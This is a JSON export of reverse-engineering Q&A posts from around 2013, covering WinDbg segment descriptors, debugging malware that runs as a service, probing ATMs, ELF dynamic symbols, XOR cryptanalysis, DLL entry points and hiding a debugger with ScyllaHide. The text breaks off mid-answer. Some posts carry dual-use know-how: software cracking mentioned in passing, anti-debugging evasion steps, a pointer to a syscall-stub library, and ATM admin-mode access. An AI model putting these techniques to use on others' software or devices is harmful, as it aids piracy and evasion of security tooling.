        "Answer": "<p>i wrote a windows specific answer to a question that was marked as duplicate and closed and the close flag referred to this thread so i post an answer here </p>\n\n<p><strong>os win7 sp1 32 bit machine<br>\nkernel dump using livekd from sysinternals</strong></p>\n\n<p>a 16 bit segment register contains<br>\n 13 bits of selector<br>\n 1 bit of table descriptor<br>\n 2 bits of requester_privilege_level  </p>\n\n<pre><code>Selector        tl  rpl \n0000000000000----0---00 \n</code></pre>\n\n<p>so cs and  fs converted to binary will be </p>\n\n<pre><code>kd&gt; r cs;r fs\ncs=00000008  = 0b 00001 0 00\nfs=00000030  = 0b 00110 0 00\n</code></pre>\n\n<p>2 bits rpl means 0,1,2,3 rings  ( so 00 = 0 = ring zero)  </p>\n\n<p>gdt = 1 bit means 0,1     (0 is for <strong>GDT</strong> and 1 is for <strong>LDT</strong>)</p>\n\n<p>global descriptor table and local descriptor table </p>\n\n<p>the high 13 bits represent segment selector</p>\n\n<p>so cs = 0x08 has a segment selector of 0b 001 = 0x1 ie gdtr@1<br>\n&amp;  fs = 0x30 has a segment selector 0f 0b 110 = 0x6 ie gdtr@6   </p>\n\n<p>the kernel cs,fs are different from user cs,fs\n as can be noticed from dg command from windbg </p>\n\n<pre><code>kd&gt; dg @cs  &lt;&lt;&lt;&lt;&lt;&lt;&lt;--- kernel \n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n0008 00000000 ffffffff Code RE Ac 0 Bg Pg P  Nl 00000c9b\n\n0:000&gt; dg @cs &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;----user \n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n001B 00000000 ffffffff Code RE Ac 3 Bg Pg P  Nl 00000cfb\n\nkd&gt; dg @fs &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;------- kernel\n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n0030 82f6dc00 00003748 Data RW Ac 0 Bg By P  Nl 00000493\n\n0:000&gt; dg @fs\n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n003B 7ffdf000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3\n</code></pre>\n\n<p>you can glean sufficient information about gdt from<br>\n  <a href=\"http://wiki.osdev.org/Global_Descriptor_Table\" rel=\"noreferrer\">osdevwiki_gdt</a><br>\n  <a href=\"http://www.rcollins.org/ddj/Aug98/Aug98.html\" rel=\"noreferrer\">robert-collins_ddj_article</a></p>\n\n<p>to do that manually im using livekd here</p>\n\n<p>using windbg you can get the Descriptor and Task Gate Registers</p>\n\n<pre><code>kd&gt; rM 100\ngdtr=80b95000   gdtl=03ff idtr=80b95400   idtl=07ff tr=0028  ldtr=0000\n</code></pre>\n\n<p>each gdtr entry is 64 bits so you can have 7f gdtr entries as you can see gdtl is 3ff 0x80*0x08-1 = 0x400-1 = 0x3ff (index starts from 0 not 1)</p>\n\n<p>so gdtr entry @1,@2 are @gdtr+(0x1*0x8) @gdtr+(0x2*0x08=0x10) and so on</p>\n\n<pre><code>kd&gt; dq @gdtr+8 l1    gdtr@1 = gdtr+0n1*0x8 =0n8  = 0x8    \n80b95008  00cf9b00`0000ffff = gdtr+0n6*0x8 =0n48 = 0x30    \nkd&gt; dq @gdtr+30 l1   \n80b95030  824093f6`dc003748   \nkd&gt; dq @gdtr+38 l1   \n80b95038  7f40f3fd`e0000fff   \n</code></pre>\n\n<p>lets bit game the last two gdtr entries manually   </p>\n\n<pre><code>-------------------------------------------------------------------------------------------\ngdtrentry        [63:     [55:  [51:  [47:          [39:                  [15:             \n                  56]      52]   48]   40]           16]                    0]             \n                 base     gdrs  L     p d  t     Base     Base             Limit           \n                 Hi       rb0y  h     r l  y     Mid      Low                              \n-------------------------------------------------------------------------------------------\nbit position     66665555 5555  5544  4 44 44444 33333333 3322222222221111 1111110000000000\n                 32109876 5432  1098  7 65 43210 98765432 1098765432109876 5432109876543210\n-------------------------------------------------------------------------------------------\n824093f6dc003748 10000010 0100  0000  1 00 10011 11110110 1101110000000000 0011011101001000\nas hex           0x82     0100  0     1 0  0x13  0xF6     0xDC00           0x3748          \n--------------------------------------- ---------------------------------------------------\n7f40f3fde0000fff 01111111 0100  0000  1 11 10011 11111101 1110000000000000 0000111111111111\nas hex           0x7F     0100  0     1 3  0x13  0xFD     0xE000           0x0FFF          \n-------------------------------------------------------------------------------------------\n</code></pre>\n"
    },
    {
        "Id": "2019",
        "CreationDate": "2013-05-07T21:04:43.703",
        "Body": "<p>I'm trying to debug a malware sample that installs to a system as service and then will only start if it starts as a service. Other functions are still available without the service start, like configuring or install under a different name. </p>\n\n<p>I'm trying to catch the network communications the malware is sending and receiving as soon as it starts as a service. If I attach to a running service/process with Immunity it already has sent the network packets and received, and I've missed what it has done with them. If I try to start it any other way I get the following error: <code>ERROR_FAILED_SERVICE_CONTROLLER_CONNECT</code> (00000427). </p>\n\n<p>Is there another way to go about this? Or some workaround? I'm fairly new to this so I certainly be missing some obvious.</p>\n",
        "Title": "Debugging malware that will only run as a service",
        "Tags": "|windows|malware|debuggers|networking|",
        "Answer": "<p>Several great answers here, and the one posted by Igor is perfect for debugging the service before it actually starts. One piece of insight I would like to contribute is looking into the malware to see if there are any threads that are created that hold the functionality you wish to review. </p>\n\n<p>Oftentimes in my analysis, I've dealt with malware that runs as a service, but rather than go through some of the hoops you need to go through to launch a debugger when the service is invoked, I often have luck looking at the malware for a main thread that is spun off after initial criteria for the service startup is handled. Once I find the 'main', thread (assuming it exists and is standalone) I will just load the DLL/EXE in Olly, set my new origin on the thread start and proceed on with my debugging.</p>\n\n<p>End of day, its really just a different approach, but something to possibly consider if the situation presents itself. </p>\n"
    },
    {
        "Id": "2023",
        "CreationDate": "2013-05-08T13:31:05.560",
        "Body": "<p>This question is using ATMs as an example, but it could apply to any number of 'secure' devices such as poker machines, E-voting machines, payphones etc. </p>\n\n<p>Given that ATMs are relatively hardened (in comparison to say, most consumer electronics for example), what would be the process of reverse engineering a device in a black-box AND limited access scenario?</p>\n\n<p>Given that traditionally, an end user of a device such as an ATM will only ever have access to the keypad/screen/card input/cash outlet (at a stretch, access to perhaps the computer housed in the top of the plastic casing(think private ATMs at small stores etc)), it seems like most attack vectors are quite limited. Under these types of circumstances, what could be done to reverse, understand and potentially exploit hardened, limited access systems?</p>\n\n<p>Is the 'ace up the sleeve' kind of situation here physical access to the ATM components? Or is there a way to RE a device from within the environment a user is presented?</p>\n",
        "Title": "How to reverse engineer an ATM?",
        "Tags": "|hardware|security|physical-attacks|",
        "Answer": "<p>All ATMs that I am aware of and have worked on in a past life have a way to get into 'admin' mode either from the front or a rear keypad.  Methods vary.  Sniffing a network probably won't help as the communication is encrypted.\nThat said, buy one:\n<a href=\"http://www.atmexperts.com/used_atm_machines.html\">http://www.atmexperts.com/used_atm_machines.html</a>\n<a href=\"http://www.bellatm.net/Default.asp\">http://www.bellatm.net/Default.asp</a>\nThen you'll have all the time and access you could want - and, unless you misuse anything learned, will avoid prison.</p>\n"
    },
    {
        "Id": "2036",
        "CreationDate": "2013-05-10T23:22:18.610",
        "Body": "<p>I am after a java bytecode disassembler whose output includes the bytecodes themselves, their operands, and their addresses in the .class file, and which displays numbers in hex, not decimal.</p>\n\n<p>To show what I mean, here are a few lines taken from the output of javap:</p>\n\n<pre><code>private java.text.SimpleDateFormat createTimeFormat();\n  Code:\n   Stack=3, Locals=2, Args_size=1\n   0:    new    #84; //class java/text/SimpleDateFormat\n   3:    dup\n   4:    ldc    #17; //String yyyy-MM-dd'T'HH:mm:ss\n   6:    invokespecial    #87; //Method java/text/SimpleDateFormat.\"&lt;init&gt;\":(Ljava/lang/String;)V\n   9:    astore_1\n</code></pre>\n\n<p>Every java bytecode disassembler I have found (I have spent much time on google, and downloaded several different ones to try) produces output which is essentially the same as this. Some format or decorate it slightly differently; some replace the command line interface with a fancy GUI; but not one of them displays the addresses of the instructions in the .class file, nor the bytecodes themselves - there are several which <em>claim</em> to show the bytecodes, but none of them actually do, they display only the textual mnemonics representing the bytecodes rather than the bytecodes themselves. Also, they all display the numerical information in decimal, not in hex.</p>\n\n<p>Here is an edited version of the above output which I have transformed by hand to produce an example of the sort of thing I am looking for:</p>\n\n<pre><code>private java.text.SimpleDateFormat createTimeFormat();\n  Code:\n   Stack=3, Locals=2, Args_size=1\n000010cf    0:    bb 00 54    new    #54; //class java/text/SimpleDateFormat\n000010d2    3:    59          dup\n000010d3    4:    12 11       ldc    #11; //String yyyy-MM-dd'T'HH:mm:ss\n000010d5    6:    b7 00 57    invokespecial    #57; //Method java/text/SimpleDateFormat.\"&lt;init&gt;\":(Ljava/lang/String;)V\n000010d8    9:    4c          astore_1\n</code></pre>\n\n<p>The addresses at the start of the lines correspond to the position of the instructions in the .class file, as one would find in a plain hexdump. The hex representations of the bytecodes and their operands are shown, and the disassembly shows the constants in hex.</p>\n\n<p>Is there anything available which would produce output resembling this? It does not matter if the fields are in a different order, as long as they are all there. It must run on Linux, either natively or under java.</p>\n",
        "Title": "Wanted: Java bytecode disassembler that shows addresses, opcodes, operands, in hex",
        "Tags": "|java|hex|disassemblers|",
        "Answer": "<p>I do not know of a disassembler that will do this, but I have written a Java decompiler that has a bytecode output mode.  It is open source, and it would be easy enough to modify to suit your needs.  Feel free to check it out <a href=\"https://bitbucket.org/mstrobel/procyon/overview\" rel=\"nofollow\">here</a>.</p>\n"
    },
    {
        "Id": "2038",
        "CreationDate": "2013-05-11T10:09:14.170",
        "Body": "<p>Lately I've been reversing the Android framework for the Nexus S mobile phone.\n99% of the source code is of course open, but there are few propriety shared libraries which needs to be downloaded in order to compile the operating system.\nThese shared libraries are stripped from symbols and suddenly I came to understand that I don't really understand how stripped libraries are linked against. How can the linker match referenced library functions if the symbols don't exist?</p>\n",
        "Title": "How are stripped shared libraries linked against?",
        "Tags": "|linux|elf|libraries|",
        "Answer": "<p>Even stripped libraries still must retain the symbols necessary for dynamic linking. These are usually placed in a section named <code>.dynsym</code> and are also pointed to by the entries in the dynamic section.</p>\n\n<p>For example, here's the output of <code>readelf</code> on a stripped Android library:</p>\n\n<pre><code>Section Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .hash             HASH            000000b4 0000b4 000280 04   A  2   0  4\n  [ 2] .dynsym           DYNSYM          00000334 000334 0005b0 10   A  3   6  4\n  [ 3] .dynstr           STRTAB          000008e4 0008e4 00042f 00   A  0   0  1\n  [ 4] .rel.dyn          REL             00000d14 000d14 000008 08   A  2   2  4\n  [ 5] .rel.plt          REL             00000d1c 000d1c 000100 08   A  2   6  4\n  [ 6] .plt              PROGBITS        00000e24 000e24 000214 04  AX  0   0  4\n  [ 7] .text             PROGBITS        00001038 001038 00210c 00  AX  0   0  8\n  [ 8] .rodata           PROGBITS        00003144 003144 000a70 00   A  0   0  4\n  [ 9] .ARM.extab        PROGBITS        00003bb4 003bb4 000024 00   A  0   0  4\n  [10] .ARM.exidx        ARM_EXIDX       00003bd8 003bd8 000170 00  AL  7   0  4\n  [11] .dynamic          DYNAMIC         00004000 004000 0000c8 08  WA  3   0  4\n  [12] .got              PROGBITS        000040c8 0040c8 000094 04  WA  0   0  4\n  [13] .data             PROGBITS        0000415c 00415c 000004 00  WA  0   0  4\n  [14] .bss              NOBITS          00004160 004160 000940 00  WA  0   0  4\n  [15] .ARM.attributes   ARM_ATTRIBUTES  00000000 004160 000010 00      0   0  1\n  [16] .shstrtab         STRTAB          00000000 004170 000080 00      0   0  1\n</code></pre>\n\n<p>You can see that even though it's missing the <code>.symtab</code> section, the <code>.dynsym</code> is still present. In fact, the section table can be removed as well (e.g. with <code>sstrip</code>) and the file will still work. This is because the dynamic linker only uses the program headers (aka the segment table):</p>\n\n<pre><code>Program Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  EXIDX          0x003bd8 0x00003bd8 0x00003bd8 0x00170 0x00170 R   0x4\n  LOAD           0x000000 0x00000000 0x00000000 0x03d48 0x03d48 R E 0x1000\n  LOAD           0x004000 0x00004000 0x00004000 0x00160 0x00aa0 RW  0x1000\n  DYNAMIC        0x004000 0x00004000 0x00004000 0x000c8 0x000c8 RW  0x4\n</code></pre>\n\n<p>The <code>DYNAMIC</code> segment corresponds to the <code>.dynamic</code> section and contains information for the dynamic linker:</p>\n\n<pre><code>Dynamic section at offset 0x4000 contains 21 entries:\n  Tag        Type                         Name/Value\n 0x00000001 (NEEDED)                     Shared library: [liblog.so]\n 0x00000001 (NEEDED)                     Shared library: [libcutils.so]\n 0x00000001 (NEEDED)                     Shared library: [libc.so]\n 0x00000001 (NEEDED)                     Shared library: [libstdc++.so]\n 0x00000001 (NEEDED)                     Shared library: [libm.so]\n 0x0000000e (SONAME)                     Library soname: [libnetutils.so]\n 0x00000010 (SYMBOLIC)                   0x0\n 0x00000004 (HASH)                       0xb4\n 0x00000005 (STRTAB)                     0x8e4\n 0x00000006 (SYMTAB)                     0x334\n 0x0000000a (STRSZ)                      1071 (bytes)\n 0x0000000b (SYMENT)                     16 (bytes)\n 0x00000003 (PLTGOT)                     0x40c8\n 0x00000002 (PLTRELSZ)                   256 (bytes)\n 0x00000014 (PLTREL)                     REL\n 0x00000017 (JMPREL)                     0xd1c\n 0x00000011 (REL)                        0xd14\n 0x00000012 (RELSZ)                      8 (bytes)\n 0x00000013 (RELENT)                     8 (bytes)\n 0x6ffffffa (RELCOUNT)                   1\n 0x00000000 (NULL)                       0x0\n</code></pre>\n\n<p>The two entries here necessary for symbol resolution are <code>STRTAB</code> and <code>SYMTAB</code>. They together make up the dynamic symbol table:</p>\n\n<pre><code>Symbol table '.dynsym' contains 91 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 00001038     0 SECTION LOCAL  DEFAULT    7 \n     2: 00003144     0 SECTION LOCAL  DEFAULT    8 \n     3: 00003bb4     0 SECTION LOCAL  DEFAULT    9 \n     4: 0000415c     0 SECTION LOCAL  DEFAULT   13 \n     5: 00004160     0 SECTION LOCAL  DEFAULT   14 \n     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND clock_gettime\n     7: 000026e1    88 FUNC    GLOBAL DEFAULT    7 ifc_init\n     8: 00000001    20 FUNC    GLOBAL DEFAULT  UND strcpy\n     9: 00002d6d   140 FUNC    GLOBAL DEFAULT    7 open_raw_socket\n     [...]\n</code></pre>\n\n<p>You can see that it contains both <code>UND</code> (undefined) symbols - those required by the library and imported from other .so, and the \"normal\" global symbols which are exported by the library for its users. The exported symbols have their addresses inside the library listed in the Value column.</p>\n"
    },
    {
        "Id": "2039",
        "CreationDate": "2013-05-11T11:16:55.810",
        "Body": "<p>I was trying to change the values of a Flash game which loads the SWF and some JSON over a HTTPS site. So changing the values of JSON was not possible using browser cache.</p>\n\n<p>I changed the values of that JSON by editing the memory of the Adobe Flash process by loading it in <a href=\"http://mh-nexus.de/en/hxd/\" rel=\"nofollow\">HxD</a>. Still I wasn't able to see the changed values inside Firefox.</p>\n\n<p>Can anybody guide as to what protects the changed values from reflecting?</p>\n",
        "Title": "No apparent effect after editing some JSON in the memory of a Flash process",
        "Tags": "|flash|",
        "Answer": "<p>Hard to say with so little info, but I suspect that you edited the data after it has already been parsed by the game code. You probably need to intercept the moment it arrives from the remote server and change it then.</p>\n"
    },
    {
        "Id": "2049",
        "CreationDate": "2013-05-16T16:17:12.610",
        "Body": "<p>Since <code>Lua</code> is an interpreted/compiled language that its own compilers and isn't usually translated/compiled with a C compiler. What tools should be used to reverse engineer an application written in <code>Lua</code>?</p>\n",
        "Title": "Where can I find tools for reverse engineering Lua",
        "Tags": "|disassembly|tools|decompile|byte-code|",
        "Answer": "<p>If your application is compiled to a binary you might still be able to use normal debuggers like IDA. However, Lua has its own tools for decompiling from machine code and byte code. These links should be kept up to date by the Lua community. </p>\n\n<p><strong>Lua Wiki:</strong> <a href=\"http://lua-users.org/wiki/LuaTools\">LuaTools</a></p>\n\n<p>If you need support for Lua 5.2 <a href=\"https://github.com/mlnlover11/LuaAssemblyTools\">LuaAssemblyTools</a> is the first to support that.</p>\n"
    },
    {
        "Id": "2051",
        "CreationDate": "2013-05-17T13:29:00.033",
        "Body": "<p>I defined a struct in a header file, similar to this one:</p>\n\n<pre><code>struct STRUCT\n{\n    char a;\n    int b;\n};\n</code></pre>\n\n<p>This is parsed successfully by IDA, however it adds padding bytes after the <code>char</code>:</p>\n\n<pre><code>00000000 STRUCT          struc ; (sizeof=0x4)\n00000000 a               db ?\n00000001                 db ? ; undefined\n00000002 b               dw ?\n00000004 STRUCT          ends\n</code></pre>\n\n<p>I can't remove the padding field using <kbd>u</kbd>, so the question is: How can one remove padding fields automatically inserted by IDA, or how can one prevent IDA from creating padding fields?</p>\n",
        "Title": "How to prevent automatic padding by IDA?",
        "Tags": "|ida|",
        "Answer": "<p>You can use <code>#pragma pack(1)</code> before the declaration.</p>\n"
    },
    {
        "Id": "2056",
        "CreationDate": "2013-05-19T06:10:18.827",
        "Body": "<p>When working with embedded systems, it is often easiest to use a downloadable firmware file rather than recover the firmware from the device.</p>\n\n<p>Mostly these are ROM images in the form of a .bin file. Sometimes, they are Motorola SREC files (often called .s19 files or .mot files). </p>\n\n<p>These are easily converted into bin files using many available tools. The SREC files tend to only contain records where there is actually data/code and the gaps are filled with padding values during conversion. Padding tends to be 0x00 or 0xFF.</p>\n\n<p>This can gives us a hint about the data segment of the image - it allows us to tell if the memory has been initialised with 0x00/0xFF intentionally by the compiler/assembler, or if it is just padding. Sometimes this can make identifying data structures easier.</p>\n\n<p>Is there anything else an SREC file can leak?</p>\n",
        "Title": "Does a Motorola SREC file give me any additional information over a binary ROM image?",
        "Tags": "|firmware|embedded|",
        "Answer": "<p>Usually you only get addresses and raw bytes, but some tools/compilers may use custom record types or add extra information. For example, Tasking VX toolchain for Tricore uses an S0 record for identification:</p>\n\n<blockquote>\n  <p><strong>S0-record</strong></p>\n\n<pre><code>'S' '0' &lt;length_byte&gt; &lt;2 bytes 0&gt; &lt;comment&gt; &lt;checksum_byte&gt;\n</code></pre>\n  \n  <p>A linker generated S-record file starts with a S0 record with the\n  following contents:</p>\n  \n  <p>length_byte : 0x6<br>\n  comment : ltc (TriCore linker)<br>\n  checksum : 0xB6</p>\n\n<pre><code>        l t c\nS00600006C7463B6\n</code></pre>\n  \n  <p>The S0 record is a comment record and does not contain relevant\n  information for program execution.</p>\n</blockquote>\n"
    },
    {
        "Id": "2058",
        "CreationDate": "2013-05-19T18:45:53.677",
        "Body": "<p><a href=\"https://www.zynamics.com/binnavi.html\" rel=\"nofollow noreferrer\">BinNavi</a> is originally a <a href=\"https://www.zynamics.com/\" rel=\"nofollow noreferrer\">Zynamics</a> product. But, since the company has been bought by Google, it seems to be difficult to get the library.</p>\n\n<p>I tried to look in the <a href=\"https://www.zynamics.com/binnavi/manual/\" rel=\"nofollow noreferrer\">BinNavi manual</a> in the <a href=\"https://www.zynamics.com/binnavi/manual/html/installation.htm\" rel=\"nofollow noreferrer\">installation</a> chapter. But, I couldn't find any way to get the source code or a binary package.</p>\n\n<p>Is there any hope that the code or, at least, a binary form of BinNavi become available at some point ? </p>\n\n<p>And, about the BinNavi API, is it possible to use BinNavi with other languages than REIL or is BinNavi hard linked with it ?</p>\n\n<p><img src=\"https://www.zynamics.com/images/binnavi_screenshot_5.png\" alt=\"BinNavi Example\"></p>\n",
        "Title": "Is BinNavi available? If not, can I get the source from anywhere?",
        "Tags": "|tools|binary-analysis|",
        "Answer": "<p>BinNavi was just <a href=\"https://github.com/google/binnavi\" rel=\"nofollow\">released as open source</a> today by Google, so you can get it for free.</p>\n\n<p>About using it with something else than REIL, if you're fearless, you can give a try to <a href=\"http://radare.org\" rel=\"nofollow\">radare2</a>, since it <a href=\"https://github.com/radare/radare2/pull/2341\" rel=\"nofollow\">can translate</a> its intermediary language <a href=\"https://github.com/radare/radare2/wiki/ESIL\" rel=\"nofollow\">ESIL</a>, to REIL.</p>\n"
    },
    {
        "Id": "2060",
        "CreationDate": "2013-05-19T22:33:29.790",
        "Body": "<p>I use <a href=\"http://www.angusj.com/resourcehacker/\" rel=\"nofollow\">Resource Hacker</a> Application for Reverse Engineering purposes, I've cracked 3 softwares by using this software, but it doesn't grab all <code>.EXE</code>, <code>.DLL</code> files.<br>\nsometimes It says, This is not a valid Win32 executable file, but I've provided it a valid Win32 File.\n<br>\nAny Solution please, Thanks in advance</p>\n",
        "Title": "Why my Resource Hacker doesn't work with some .EXE files",
        "Tags": "|windows|unpacking|executable|decompiler|",
        "Answer": "<p>Parsing PE files correctly is hard and there are almost always ways to make tools crash or refuse to work, while the Windows loader still executes the program normally. See e.g. <a href=\"https://www.virusbtn.com/pdf/conference_slides/2007/CaseySheehanVB2007.pdf\" rel=\"nofollow\">Pimp My PE</a>, <a href=\"https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf\" rel=\"nofollow\">Undocumented PECOFF</a></p>\n\n<p>A loop in the resource tree structure might be enough to crash Resource Hacker.</p>\n\n<p>Although these papers are mainly about malicious files, this applies for non-malicious ones as well, if the owner wanted to protect them or if he just happened to use a compiler or packer that violates the PECOFF specification or certain conventions.</p>\n"
    },
    {
        "Id": "2062",
        "CreationDate": "2013-05-20T16:44:55.427",
        "Body": "<p>I know that modern cryptographic algorithms are as close as they can to fully random data (<a href=\"http://en.wikipedia.org/wiki/Ciphertext_indistinguishability\">ciphertext indistinguishability</a>) and that trying to detect it is quite useless. But, what can we do on weak-crypto such as <strong>xor encryption</strong> ? Especially if we can get statistical studies of what is encrypted ? </p>\n\n<p>What are the methods and which one is the most efficient (and under what hypothesis) ? And, finally, how to break efficiently this kind of encryption (only based on a statistical knowledge of what is encrypted) ?</p>\n",
        "Title": "What is the most efficient way to detect and to break xor encryption?",
        "Tags": "|cryptography|cryptanalysis|",
        "Answer": "<p>Just to add to the list. SANS posted a blog about a week ago on different tools for XOR encryption. The list is very good and it provides several tools, all which are good in my opinion. </p>\n\n<p>Here is the link : <a href=\"http://computer-forensics.sans.org/blog/2013/05/14/tools-for-examining-xor-obfuscation-for-malware-analysis\">SANS Blog on XOR tools</a></p>\n"
    },
    {
        "Id": "2067",
        "CreationDate": "2013-05-21T21:03:33.103",
        "Body": "<p>Instruction pipelining is used to execute instructions in a parallel fashion by dividing them into several steps .When I pause the execution in a debugger I am only able to see the location of the eip register but not the current pipeline state. Is there a way to find out ? </p>\n",
        "Title": "How to view the instruction pipeline?",
        "Tags": "|machine-code|",
        "Answer": "<p>No, a debugger views code sequentially whereas a cpu may reorder code on the fly before it gets executed and even execute more than one instruction at a time. This is the case even for Simulators like Bochs. Simics on the other hand might implement something more in line with reality but I doubt it.</p>\n\n<p>Essentially the pipeline is supposed to be transparent to the programmer. As execution wise it should function the same as a single cycle implementation even though the performance would be much different.</p>\n\n<p>If you want the see the effect of passing different instructions through a pipeline what you want is a profiler.</p>\n\n<p>If you want a tool that will allow you to analyse the progress of the uOPs through the entire pipeline look for things like <a href=\"http://marss86.org/~marss86/index.php/Home\">Marss86</a> which simulates down to the uOp level and will allow you to see the goings on inside the pipeline at least of the architecture they simulate. Note that there are various implementations of the x86 pipelines and your simulator of choice may or may not implement the exact one you are intending to target.</p>\n"
    },
    {
        "Id": "2070",
        "CreationDate": "2013-05-22T08:29:47.090",
        "Body": "<p>I have compiled following C source code in VS2010 console project.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint main(int argc, char* argv[]){\n    printf(\"hello world\\n\");\n    return 0;\n}\n</code></pre>\n\n<p>then I used <code>/MT</code> option for release mode to statically link the C-runtime library.\nHowever, as far as I know, C-runtime library still invokes lower level system functions - \nfor example, C-runtime function <code>printf</code> eventually calls <code>WriteFile</code> Windows API.</p>\n\n<p>And the actual function body of <code>WriteFile</code> is in <code>kernel32.dll</code>.\nSo, even if I link the C-runtime library statically, the binary doesn't contain\nthe entire routine including the <code>SYSENTER</code>, or <code>INT 0x2E</code> instructions...\nThe core part is still in a DLL. The following diagram describes how I understand it:</p>\n\n<p><img src=\"https://i.stack.imgur.com/w2XJH.png\" alt=\"enter image description here\"></p>\n\n<p>What I want is to statically link EVERYTHING into single EXE file. Including <code>kernel32.dll</code>, <code>user32.dll</code> to eliminate the necessity of loader parsing the IAT and resolving the function names.</p>\n\n<p>The following picture describes what I want:</p>\n\n<p><img src=\"https://i.stack.imgur.com/IQtdo.png\" alt=\"enter image description here\"></p>\n\n<p>I understand this is simple in Linux with <code>gcc</code>. All I have to do is give the option <code>-static</code></p>\n\n<p>Is there any option like this in VS2010? Please correct me if I'm misunderstanding.</p>\n",
        "Title": "Can I statically link (not import) the Windows system DLLs?",
        "Tags": "|windows|dll|compilers|symbols|dynamic-linking|",
        "Answer": "<p>Other people have mentioned the downsides of this, but if you're still interested in this path, then <a href=\"https://github.com/jthuraisamy/SysWhispers2\" rel=\"nofollow noreferrer\">here's a lib</a> that converts the ntdll API names into syscalls.</p>\n"
    },
    {
        "Id": "2073",
        "CreationDate": "2013-05-22T14:42:12.397",
        "Body": "<p>When execution enters a new function by performing call  I do often see this code template (asm list generated by Gnu Debugger when in debugging mode):</p>\n\n<pre><code>0x00401170  push   %ebp\n0x00401171  mov    %esp,%ebp\n0x00401173  pop    %ebp\n</code></pre>\n\n<p>So what's the purpose of moving esp to ebp?</p>\n",
        "Title": "What purpose of mov %esp,%ebp?",
        "Tags": "|disassembly|",
        "Answer": "<p>I like Robert explanation, it has a very good example, but.. I think it misses the point of which is the real purpose of this instruction.  </p>\n\n<blockquote>\n  <p>is done as a debugging aid and in some cases for exception handling</p>\n</blockquote>\n\n<p>Well.. not really, not only. It is part of the standard function prologue for x86 (32 bit), and it is the (common) technique to set up a function stack frame, so that parameters and locals are accessible as fixed offsets of <code>ebp</code>, which is, after all, the *B*ase frame *P*ointer.</p>\n\n<p>Making <code>ebp</code> equal to <code>esp</code> at function entry, you will have a fixed, relative pointer inside the stack, that will not change for the lifetime of your function, and you will able to access parameters and locals as (fixed) positive and (fixed) negative offsets, respectively, to <code>ebp</code>.</p>\n\n<p>You can or cannot see this standard prologue in release, optimized code: optimizers can do (and often do) FPO (frame pointer optimization) to get rid of <code>ebp</code> and just use <code>esp</code> inside your function to access params and locals. This is much trickier (I would not do it by hand) as <code>esp</code> can vary during the function lifetime, and therefore a parameter, for example, can be accessed using 2 different offsets at two distinct points in the code.</p>\n"
    },
    {
        "Id": "2079",
        "CreationDate": "2013-05-22T19:33:34.490",
        "Body": "<p>I have a piece a malware to analyze. It is a DLL according to the <code>IMAGE_FILE_HEADER-&gt;Characteristics</code>. I was trying to do some dynamic analysis on it. I have done the following:</p>\n<ul>\n<li>Run it with <code>rundll32.exe</code>, by calling its exports. Nothing.</li>\n<li>Changed the binary's characteristics to an exe. Nothing.</li>\n</ul>\n<p>So I moved on to static analysis, Loaded on IDA and OllyDbg.\nWhich brings me to my question. :)</p>\n<p><strong>What is the main difference between <code>DllMain</code> and <code>DllEntryPoint</code>?</strong></p>\n<p><strong>When/How does one get call vs the other?</strong></p>\n<p><strong>[EDIT]</strong></p>\n<p>So after reading MSDN and a couple of books on MS programming. I understand <code>DllEntryPoint</code>.\n<code>DllEntryPoint</code> is your <code>DllMain</code> when writing your code. Right?!\nSo then why have <code>DllMain</code>. In other words, when opening the binary in IDA you have <code>DllEntryPoint</code> and <code>DllMain</code>.</p>\n<p>I know it is probably something easy but I am visual person, so obviously not seeing something here.</p>\n",
        "Title": "Difference between DllMain and DllEntryPoint",
        "Tags": "|windows|malware|dll|",
        "Answer": "<p>When loading time is involved the entry point is DllMain.<br>\n(Ex. COM in-process server DLL).<br>\nWhen running time is involved the entry point is DllEntryPoint.<br>\n(Ex. LoadLibrary get called).     </p>\n"
    },
    {
        "Id": "2082",
        "CreationDate": "2013-05-23T04:11:09.953",
        "Body": "<p>Are there any good WinDbg hiding plugins like OllyDbg's? Or a plugin that's open source and still in development for this purpose?</p>\n",
        "Title": "Debugger hiding plugin for WinDbg?",
        "Tags": "|debuggers|anti-debugging|windbg|",
        "Answer": "<p>You can use <a href=\"https://github.com/x64dbg/ScyllaHide\" rel=\"noreferrer\">ScyllaHide</a>. There are plugins for many debuggers, but it is also possible to use <code>InjectorCLI.exe</code> to inject ScyllaHide into any process. Here are the steps (for a 32 bit process, if you want a 64 bit process, replace every <code>x86</code> with <code>x64</code>):</p>\n\n<ol>\n<li>Extract ScyllaHide (<a href=\"https://github.com/x64dbg/ScyllaHide/releases\" rel=\"noreferrer\">download</a>) anywhere;</li>\n<li>Run <code>NtApiTool\\x86\\PDBReaderx86.exe</code> and when it's finished, copy <code>NtApiCollection.ini</code> to the same directory as <code>InjectorCLIx86.exe</code>;</li>\n<li>Open <code>ScyllaTest_x86.exe</code> with WinDbg (x86) you should be in <code>LdrpDoDebuggerBreak</code>;</li>\n<li>Execute <code>InjectorCLIx86.exe ScyllaTest_x86.exe HookLibraryx86.dll</code>;</li>\n<li>Run (F5) in WinDbg.</li>\n</ol>\n\n<p>Without using ScyllaHide:</p>\n\n<p><img src=\"https://i.stack.imgur.com/e7hK5.png\" alt=\"no hiding\"></p>\n\n<p>When using ScyllaHide:</p>\n\n<p><img src=\"https://i.stack.imgur.com/gps0Z.png\" alt=\"hiding\"></p>\n\n<p>This process works for any debugger, if you feel like it you can even make an actual plugin for WinDbg. It should be quite 